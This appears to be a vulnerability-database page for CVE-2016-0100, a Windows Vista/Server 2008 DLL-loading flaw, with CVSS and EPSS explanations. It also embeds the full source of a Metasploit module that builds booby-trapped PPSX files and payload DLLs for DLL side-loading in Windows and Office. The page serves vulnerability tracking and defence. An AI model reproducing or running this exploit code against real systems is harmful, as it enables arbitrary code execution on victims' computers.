CVE-2016-0100 : Detail

CVE-2016-0100

8.4
/
High
A03-InjectionA01-Broken Access Control
7.48%V3
Local
2016-03-09
10h00 +00:00
2018-10-12
17h57 +00:00
CVE.org
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CVE Descriptions

Microsoft Windows Vista SP2 and Server 2008 SP2 mishandle library loading, which allows local users to gain privileges via a crafted application, aka "Library Loading Input Validation Remote Code Execution Vulnerability."

CVE Informations

Related Weaknesses

CWE-ID Weakness Name Source
CWE-20 Improper Input Validation
The product receives input or data, but it does not validate or incorrectly validates that the input has the properties that are required to process the data safely and correctly.
CWE-264 Category : Permissions, Privileges, and Access Controls
Weaknesses in this category are related to the management of permissions, privileges, and other security features that are used to perform access control.

Metrics

Metrics Score Severity CVSS Vector Source
V3.0 8.4 HIGH CVSS:3.0/AV:L/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H

Base: Exploitabilty Metrics

The Exploitability metrics reflect the characteristics of the thing that is vulnerable, which we refer to formally as the vulnerable component.

Attack Vector

This metric reflects the context by which vulnerability exploitation is possible.

Local

A vulnerability exploitable with Local access means that the vulnerable component is not bound to the network stack, and the attacker's path is via read/write/execute capabilities. In some cases, the attacker may be logged in locally in order to exploit the vulnerability, otherwise, she may rely on User Interaction to execute a malicious file.

Attack Complexity

This metric describes the conditions beyond the attacker's control that must exist in order to exploit the vulnerability.

Low

Specialized access conditions or extenuating circumstances do not exist. An attacker can expect repeatable success against the vulnerable component.

Privileges Required

This metric describes the level of privileges an attacker must possess before successfully exploiting the vulnerability.

None

The attacker is unauthorized prior to attack, and therefore does not require any access to settings or files to carry out an attack.

User Interaction

This metric captures the requirement for a user, other than the attacker, to participate in the successful compromise of the vulnerable component.

None

The vulnerable system can be exploited without interaction from any user.

Base: Scope Metrics

An important property captured by CVSS v3.0 is the ability for a vulnerability in one software component to impact resources beyond its means, or privileges.

Scope

Formally, Scope refers to the collection of privileges defined by a computing authority (e.g. an application, an operating system, or a sandbox environment) when granting access to computing resources (e.g. files, CPU, memory, etc). These privileges are assigned based on some method of identification and authorization. In some cases, the authorization may be simple or loosely controlled based upon predefined rules or standards. For example, in the case of Ethernet traffic sent to a network switch, the switch accepts traffic that arrives on its ports and is an authority that controls the traffic flow to other switch ports.

Unchanged

An exploited vulnerability can only affect resources managed by the same authority. In this case the vulnerable component and the impacted component are the same.

Base: Impact Metrics

The Impact metrics refer to the properties of the impacted component.

Confidentiality Impact

This metric measures the impact to the confidentiality of the information resources managed by a software component due to a successfully exploited vulnerability.

High

There is total loss of confidentiality, resulting in all resources within the impacted component being divulged to the attacker. Alternatively, access to only some restricted information is obtained, but the disclosed information presents a direct, serious impact. For example, an attacker steals the administrator's password, or private encryption keys of a web server.

Integrity Impact

This metric measures the impact to integrity of a successfully exploited vulnerability. Integrity refers to the trustworthiness and veracity of information.

High

There is a total loss of integrity, or a complete loss of protection. For example, the attacker is able to modify any/all files protected by the impacted component. Alternatively, only some files can be modified, but malicious modification would present a direct, serious consequence to the impacted component.

Availability Impact

This metric measures the impact to the availability of the impacted component resulting from a successfully exploited vulnerability.

High

There is total loss of availability, resulting in the attacker being able to fully deny access to resources in the impacted component; this loss is either sustained (while the attacker continues to deliver the attack) or persistent (the condition persists even after the attack has completed). Alternatively, the attacker has the ability to deny some availability, but the loss of availability presents a direct, serious consequence to the impacted component (e.g., the attacker cannot disrupt existing connections, but can prevent new connections; the attacker can repeatedly exploit a vulnerability that, in each instance of a successful attack, leaks a only small amount of memory, but after repeated exploitation causes a service to become completely unavailable).

Temporal Metrics

The Temporal metrics measure the current state of exploit techniques or code availability, the existence of any patches or workarounds, or the confidence that one has in the description of a vulnerability.

Environmental Metrics

 [email protected]
V2 7.2 AV:L/AC:L/Au:N/C:C/I:C/A:C [email protected]

EPSS

EPSS is a scoring model that predicts the likelihood of a vulnerability being exploited.

EPSS Score

The EPSS model produces a probability score between 0 and 1 (0 and 100%). The higher the score, the greater the probability that a vulnerability will be exploited.

EPSS Percentile

The percentile is used to rank CVE according to their EPSS score. For example, a CVE in the 95th percentile according to its EPSS score is more likely to be exploited than 95% of other CVE. Thus, the percentile is used to compare the EPSS score of a CVE with that of other CVE.
EPSS First.org

Exploit information

Exploit Database EDB-ID : 41706

Publication date : 2015-12-07 23h00 +00:00
Author : Metasploit
EDB Verified : Yes

require 'zip' require 'base64' require 'msf/core' require 'rex/ole' class MetasploitModule < Msf::Exploit::Remote Rank = NormalRanking include Msf::Exploit::FILEFORMAT include Msf::Exploit::EXE def initialize(info = {}) super(update_info(info, 'Name' => 'Office OLE Multiple DLL Side Loading Vulnerabilities', 'Description' => %q{ Multiple DLL side loading vulnerabilities were found in various COM components. These issues can be exploited by loading various these components as an embedded OLE object. When instantiating a vulnerable object Windows will try to load one or more DLLs from the current working directory. If an attacker convinces the victim to open a specially crafted (Office) document from a directory also containing the attacker's DLL file, it is possible to execute arbitrary code with the privileges of the target user. This can potentially result in the attacker taking complete control of the affected system. }, 'Author' => 'Yorick Koster', 'License' => MSF_LICENSE, 'References' => [ ['CVE', '2015-6132'], ['CVE', '2015-6128'], ['CVE', '2015-6133'], ['CVE', '2016-0041'], ['CVE', '2016-0100'], ['CVE', '2016-3235'], ['MSB', 'MS15-132'], ['MSB', 'MS16-014'], ['MSB', 'MS16-025'], ['MSB', 'MS16-041'], ['MSB', 'MS16-070'], ['URL', 'https://securify.nl/advisory/SFY20150801/com__services_dll_side_loading_vulnerability.html'], ['URL', 'https://securify.nl/advisory/SFY20150805/event_viewer_snapin_multiple_dll_side_loading_vulnerabilities.html'], ['URL', 'https://securify.nl/advisory/SFY20150803/windows_authentication_ui_dll_side_loading_vulnerability.html'], ['URL', 'https://securify.nl/advisory/SFY20151102/shutdown_ux_dll_side_loading_vulnerability.html'], ['URL', 'https://securify.nl/advisory/SFY20150802/shockwave_flash_object_dll_side_loading_vulnerability.html'], ['URL', 'https://securify.nl/advisory/SFY20150806/ole_db_provider_for_oracle_multiple_dll_side_loading_vulnerabilities.html'], ['URL', 'https://securify.nl/advisory/SFY20150905/nps_datastore_server_dll_side_loading_vulnerability.html'], ['URL', 'https://securify.nl/advisory/SFY20150906/bda_mpeg2_transport_information_filter_dll_side_loading_vulnerability.html'], ['URL', 'https://securify.nl/advisory/SFY20151101/mapsupdatetask_task_dll_side_loading_vulnerability.html'], ['URL', 'https://securify.nl/advisory/SFY20150904/windows_mail_find_people_dll_side_loading_vulnerability.html'], ['URL', 'https://securify.nl/advisory/SFY20150804/microsoft_visio_multiple_dll_side_loading_vulnerabilities.html'], ], 'DefaultOptions' => { 'EXITFUNC' => 'thread', 'PAYLOAD' => 'windows/exec', 'CMD' => 'C:\\Windows\\System32\\calc.exe', }, 'Payload' => { 'Space' => 2048, }, 'Platform' => 'win', 'Arch' => [ ARCH_X86, ARCH_X64 ], 'Targets' => [ [ 'All', {} ], [ 'COM+ Services / Windows Vista - 10 / Office 2007 - 2016 (MS15-132)', { 'DLL' => 'mqrt.dll', # {ecabafc9-7f19-11d2-978e-0000f8757e2a} 'CLSID' => "\xC9\xAF\xAB\xEC\x19\x7F\xD2\x11\x97\x8E\x00\x00\xF8\x75\x7E\x2A" } ], [ 'Shockwave Flash Object / Windows 10 / Office 2013 (APSB15-28)', { 'DLL' => 'spframe.dll', # {D27CDB6E-AE6D-11cf-96B8-444553540000} 'CLSID' => "\x6E\xDB\x7C\xD2\x6D\xAE\xCF\x11\x96\xB8\x44\x45\x53\x54\x00\x00" } ], [ 'Windows Authentication UI / Windows 10 / Office 2013 - 2016 (MS15-132)', { 'DLL' => 'wuaext.dll', # {D93CE8B5-3BF8-462C-A03F-DED2730078BA} 'CLSID' => "\xB5\xE8\x3C\xD9\xF8\x3B\x2C\x46\xA0\x3F\xDE\xD2\x73\x00\x78\xBA" } ], [ 'Shutdown UX / Windows 10 / Office 2016 (MS15-132)', { 'DLL' => 'wuaext.dll', # {14ce31dc-abc2-484c-b061-cf3416aed8ff} 'CLSID' => "\xDC\x31\xCE\x14\xC2\xAB\x4C\x48\xB0\x61\xCF\x34\x16\xAE\xD8\xFF" } ], [ 'MapUpdateTask Tasks / Windows 10 / Office 2016 (MS16-014)', { 'DLL' => 'phoneinfo.dll', # {B9033E87-33CF-4D77-BC9B-895AFBBA72E4} 'CLSID' => "\x87\x3E\x03\xB9\xCF\x33\x77\x4D\xBC\x9B\x89\x5A\xFB\xBA\x72\xE4" } ], [ 'Microsoft Visio 2010 / Windows 7 (MS16-070)', { 'DLL' => 'msoutls.dll', # 6C92B806-B900-4392-89F7-2ED4B4C23211} 'CLSID' => "\x06\xB8\x92\x6C\x00\xB9\x92\x43\x89\xF7\x2E\xD4\xB4\xC2\x32\x11" } ], [ 'Event Viewer Snapin / Windows Vista - 7 / Office 2007 - 2013 (MS15-132)', { 'DLL' => 'elsext.dll', # {394C052E-B830-11D0-9A86-00C04FD8DBF7} 'CLSID' => "\x2E\x05\x4C\x39\x30\xB8\xD0\x11\x9A\x86\x00\xC0\x4F\xD8\xDB\xF7" } ], [ 'OLE DB Provider for Oracle / Windows Vista - 7 / Office 2007 - 2013 (MS16-014)', { 'DLL' => 'oci.dll', # {e8cc4cbf-fdff-11d0-b865-00a0c9081c1d} 'CLSID' => "\xBF\x4C\xCC\xE8\xFF\xFD\xD0\x11\xB8\x65\x00\xA0\xC9\x08\x1C\x1D" } ], [ 'Windows Mail Find People / Windows Vista / Office 2010 (MS16-025)', { 'DLL' => 'wab32res.dll', # {32714800-2E5F-11d0-8B85-00AA0044F941} 'CLSID' => "\x00\x48\x71\x32\x5F\x2E\xD0\x11\x8B\x85\x00\xAA\x00\x44\xF9\x41" } ], [ 'NPS Datastore server / Windows Vista / Office 2010 (MS16-014)', { 'DLL' => 'iasdatastore2.dll', # {48da6741-1bf0-4a44-8325-293086c79077} 'CLSID' => "\x41\x67\xDA\x48\xF0\x1B\x44\x4A\x83\x25\x29\x30\x86\xC7\x90\x77" } ], [ 'BDA MPEG2 Transport Information Filter / Windows Vista / Office 2010 (MS16-014)', { 'DLL' => 'ehTrace.dll', # {FC772AB0-0C7F-11D3-8FF2-00A0C9224CF4} 'CLSID' => "\xB0\x2A\x77\xFC\x7F\x0C\xD3\x11\x8F\xF2\x00\xA0\xC9\x22\x4C\xF4" } ], ], 'Privileged' => false, 'DisclosureDate' => 'Dec 8 2015', 'DefaultTarget' => 0)) register_options( [ OptString.new('FILENAME', [true, 'The PPSX file', 'msf.ppsx']), ], self.class) end def exploit if target.name == 'All' targets = @targets else targets = [ target ] end @arch.each do |a| exploit_regenerate_payload('win', a, nil) targets.each do |t| if t.name == 'All' next end print_status("Using target #{t.name}") dll_name = t['DLL'] if target.name == 'All' ppsx_name = t.name.split(/\//).first + ".ppsx" else ppsx_name = datastore['FILENAME'] end print_status("Creating the payload DLL (#{a})...") opts = {} opts[:arch] = [ a ] dll = generate_payload_dll(opts) dll_path = store_file(dll, a, dll_name) print_good("#{dll_name} stored at #{dll_path}, copy it to a remote share") print_status("Creating the PPSX file...") ppsx = get_ppsx(t['CLSID']) ppsx_path = store_file(ppsx, a, ppsx_name) print_good("#{ppsx_name} stored at #{ppsx_path}, copy it to a remote share") end end end def store_file(data, subdir, filename) ltype = "exploit.fileformat.#{self.shortname}" if ! ::File.directory?(Msf::Config.local_directory) FileUtils.mkdir_p(Msf::Config.local_directory) end subdir.gsub!(/[^a-z0-9\.\_\-]+/i, '') if ! ::File.directory?(Msf::Config.local_directory + "/" + subdir) FileUtils.mkdir_p(Msf::Config.local_directory + "/" + subdir) end if filename and not filename.empty? if filename =~ /(.*)\.(.*)/ ext = $2 fname = $1 else fname = filename end else fname = "local_#{Time.now.utc.to_i}" end fname = ::File.split(fname).last fname.gsub!(/[^a-z0-9\.\_\-]+/i, '') fname << ".#{ext}" path = File.join(Msf::Config.local_directory + "/" + subdir, fname) full_path = ::File.expand_path(path) File.open(full_path, "wb") { |fd| fd.write(data) } report_note(:data => full_path.dup, :type => "#{ltype}.localpath") full_path.dup end def create_ole(clsid) ole_tmp = Rex::Quickfile.new('ole') stg = Rex::OLE::Storage.new(ole_tmp.path, Rex::OLE::STGM_WRITE) stm = stg.create_stream("\x01OLE10Native") stm.close directory = stg.instance_variable_get(:@directory) directory.each_entry do |entry| if entry.instance_variable_get(:@_ab) == 'Root Entry' clsid = Rex::OLE::CLSID.new(clsid) entry.instance_variable_set(:@_clsId, clsid) end end # write to disk stg.close ole_contents = File.read(ole_tmp.path) ole_tmp.close ole_tmp.unlink ole_contents end def get_ppsx(clsid) path = ::File.join(Msf::Config.data_directory, 'exploits', 'office_ole_multiple_dll_hijack.ppsx') fd = ::File.open(path, "rb") data = fd.read(fd.stat.size) fd.close ppsx = Rex::Zip::Archive.new Zip::InputStream.open(StringIO.new(data)) do |zis| while entry = zis.get_next_entry ppsx.add_file(entry.name, zis.read) end end ppsx.add_file('/ppt/embeddings/oleObject1.bin', create_ole(clsid)) ppsx.pack end end

Products Mentioned

Configuraton 0

Microsoft>>Windows_server_2008 >> Version *

Microsoft>>Windows_vista >> Version *

References

http://www.securitytracker.com/id/1035205
Tags : vdb-entry, x_refsource_SECTRACK
http://www.securityfocus.com/bid/83930
Tags : vdb-entry, x_refsource_BID